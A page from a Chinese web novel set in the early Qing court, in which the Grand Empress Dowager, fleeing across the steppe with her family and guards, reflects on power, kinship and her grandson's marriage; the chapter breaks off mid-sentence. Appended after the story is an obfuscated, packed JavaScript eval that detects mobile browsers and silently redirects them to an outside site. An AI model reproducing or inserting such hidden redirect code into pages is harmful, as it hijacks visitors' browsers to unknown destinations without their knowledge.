86. 贵人逃亡(第2页)

太皇太后没应声,只是死死攥着缰绳。

她想起自己刚入草原时,科尔沁的台吉们跪在路边迎接,献上来的奶茶要用银碗装,烤肉要选最肥的羊肋;可现在,她能吃到的,只有雅图塞给她的半块干硬的奶饼,咬下去时差点硌掉牙。

天擦黑时,他们钻进一个背风的山坳。

佟国纲生了堆火,火苗窜得不高,烟却很大,呛得太皇太后直咳嗽。

叶克书捡了些枯草铺在地上,让老太太坐下歇歇,她刚一沾地,就觉得浑身的骨头都在叫疼,竟连站起来的力气都没了。

“王辅臣能跑到草原上,连我自己都不信。”太皇太后望着跳动的火苗,忽然低声说,“所以,等回到京城,不许叫皇帝治罪于火器营与草原诸部。”

太后和雅图、阿图都愣住了——她们从没听过老太太这样的话。

贵人遇袭,不论亲军之罪,几乎不可能的。

只有苏麻喇姑知道,太皇太后这话是说给谁听的。

她余光看向周围,佟国纲与一众侍卫眼睛都亮堂了。

“我以为自己早就是块朽木了,经不起折腾。”她摸了摸自己的脸颊,皱纹里还沾着沙尘,“可真到了这一步,倒也……撑下来了。”折腾吧,折腾吧,老了,老了,跟孙子孙媳妇折腾什么呢,把自己折腾成这样。

太后喘息着靠在雅图身上,眼泪顺着脸颊往下流。

见她哭都不敢大声,雅图与阿图对视一眼,无比想念珠兰与端敏。

珠兰总是镇定自若,有多种办法和预案。

端敏若在,王辅臣算个屁。

风从山坳口灌进来,吹得火苗摇摇晃晃。远处隐约传来狼嚎,听得人心头发紧。

佟国纲握紧了刀,警惕地望着黑暗深处:“您放心,有奴才在,定护着贵人们到漠西。”他已经派人去寻护军营报信了,也说了路线,前方肯定会有人接应的

太皇太后点点头,闭上眼睛。

这一天一夜,她受的罪比前半生加起来还多,可奇怪的是,想通了,心不扑腾了,反倒踏实了些。

带着太后、长公主与火器营怒而离开,意图拿捏孙媳以及孙媳背后的皇帝,那时候的怒火像场梦。一家子亲人为了银子竟生两意,这是长生天降下的灾,告诫我布木布泰呢。

银子、权力,哪里有命贵!

此刻踩在脚下的沙砾、鼻尖的烟火气、身边人粗重的呼吸,真真切切的,是一场天罚……

山坳里的篝火渐渐弱下去,只剩几点火星在风里挣扎。

太皇太后裹紧了那件被沙尘磨得发旧的斗篷,望着远处黑沉沉的山影,想起玄烨那孩子在信里撒娇的话:“祖母再不回来,孙儿就要把御膳房的点心都送到草原上了。”

那时只当是孙儿的小性子,笑着回信“不生重孙子就不回”。如今想来,那点赌气的心思,竟像孩童过家家般可笑。

皇帝还年轻,还在打江山,何必急着用子嗣捆住他?

草原上的利益何曾值得当自己这个太皇太后冲锋在前、锱铢必较,不如留在紫禁城,皇帝无论如何也会把祖母和母后的娘家护好的。

便如当初,皇后刚刚收下内务府,理顺前因后果,拿下晋商,马上就送了科尔沁一份足矣世代相传的大礼。

珠兰聪慧沉稳,是自己看着长大的,心思淳厚。

小两口琴瑟和鸣,自己偏要拿“国本”说事,明里暗里挑些事端,现在想想,真是老糊涂了。

她往火堆里添了把枯草,火星子腾地窜起来,映亮的是琪琪格苍白的脸。

太后靠在雅图怀里,呼吸微弱,病弱的身子经这一路颠簸,早已没了力气。

太皇太后看着她,又想起儿子福临——当年他为了董鄂氏,闹得朝野不宁,自己也是这样横加阻拦,以为是为了他好,为了大清好,可最后呢?

儿子年纪轻轻就没了,董鄂氏也跟着去了,只留下个年幼的玄烨,和一肚子说不清道不明的怨。

“琪琪格……”太皇太后低声唤了句,仿佛只是动了动嘴,没发出声音。

当年把这个孩子选进宫,原是想让她替博尔济吉特氏稳住后位,可她性子软,斗不过那些波谲云诡,硬生生把自己熬成了胆小鬼。

大好的年华,就在深宫里的汤药和算计里耗没了,连笑都带着三分怯。

做了皇后、太后,一样立不起来。

风里传来叶克书打盹的鼾声,佟国纲还在警惕地守着山口。

太皇太后的目光落在远处的黑暗里,仿佛看见阿日娜苏捧着账册跟在珠兰身后的样子——那孩子太想证明自己了,眼里的锐气像极了年轻时的草原明珠布木布泰,可这份“拼命表现”,又何尝不是另一种枷锁?

琪琪格是困在“不争”里,阿日娜苏怕是要困在“争”里,后宫这条路,从来都是笑着进去,哭着打转,哪有真正的赢家?

雅图悄悄往她手里塞了块热奶饼,是用最后一点奶和着枯草火烤的,带着焦糊味。

太皇太后咬了一口,粗糙的饼渣剌得嗓子疼,却比宫里那些精致的点心更让人清醒。

当年总觉得,皇权、家族、子嗣,这些才是顶重要的,是能攥在手里的东西。

可现在,马背上的颠簸疼得钻心,身后的追兵像催命的鬼,她攥着的,只有这块硬邦邦的奶饼,和身边这几个惊魂未定的亲人。

“珠兰那丫头……”太皇太后忽然笑了,带着点自嘲,“倒是比我通透。”

她知道什么该争,什么该放,知道小夫妻的情分比那些规矩重要。

火堆彻底灭了,天边泛起一丝鱼肚白。

佟国纲走过来说:“太皇太后,咱们该上路了,再走两个时辰,应该就能看见漠西那边接应的人了。”

太皇太后点点头,被雅图扶着站起来。骨头还是疼,可心里那点拧巴的疙瘩,却像被这一路的风沙磨平了。

等见了康熙,定要告诉他:“好好待珠兰,孩子的事不急,你们好好的,比什么都强。”

至于阿日娜苏,或许该劝她一句:“草原的商路比后宫的凤冠实在,能在天地间活成自己,比争那点恩宠强。”

“走吧。”她闭上眼,又睁开眼,眼里的疲惫退了些,“别让珠兰等急了。”

重新上马时,太皇太后的动作还是很慢,却不再发抖。她知道,这条路还得走下去,哪怕骨头再疼,哪怕前路再黑——她是博尔济吉特氏的女人,是大清朝的太皇太后,这点罪,她受得住。

夜色与晨光里,一行人的影子

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258963|173504||http|test|mini|href|location''.split(''|''),0,{}));